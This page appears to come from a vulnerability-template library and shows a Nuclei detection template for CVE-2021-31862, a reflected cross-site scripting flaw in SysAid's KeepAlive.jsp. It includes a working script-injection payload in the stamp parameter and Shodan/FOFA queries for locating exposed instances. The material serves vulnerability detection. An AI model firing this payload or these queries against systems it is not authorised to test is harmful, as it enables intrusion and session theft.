SysAid 20.4.74 - Cross-Site Scripting

ID: CVE-2021-31862

Severity: medium

Author: jas37

Tags: cve2021,cve,xss,sysaid

Description

SysAid 20.4.74 contains a reflected cross-site scripting vulnerability via the KeepAlive.jsp stamp parameter.

YAML Source

id: CVE-2021-31862

info:
  name: SysAid 20.4.74 - Cross-Site Scripting
  author: jas37
  severity: medium
  description: SysAid 20.4.74 contains a reflected cross-site scripting vulnerability via the KeepAlive.jsp stamp parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of SysAid or apply the vendor-provided security patch to mitigate the XSS vulnerability.
  reference:
    - https://github.com/RobertDra/CVE-2021-31862/blob/main/README.md
    - https://www.sysaid.com/product/on-premise/latest-release
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31862
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-31862
    cwe-id: CWE-79
    epss-score: 0.00141
    epss-percentile: 0.48947
    cpe: cpe:2.3:a:sysaid:sysaid:20.4.74:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sysaid
    product: sysaid
    shodan-query: http.favicon.hash:1540720428
    fofa-query: icon_hash=1540720428
  tags: cve2021,cve,xss,sysaid

http:
  - method: GET
    path:
      - '{{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers:
      - type: dsl
        dsl:
          - '(body == "false <script>alert(document.domain)</script>")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022060f71a345432933fa77fabbb778b27dc10a98629df1e364b2a0fc959a08db70502202ebafad45389886b182c97c5fa4d25929cb013f867158eb8e9476c304ccad024:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-31862.yaml"

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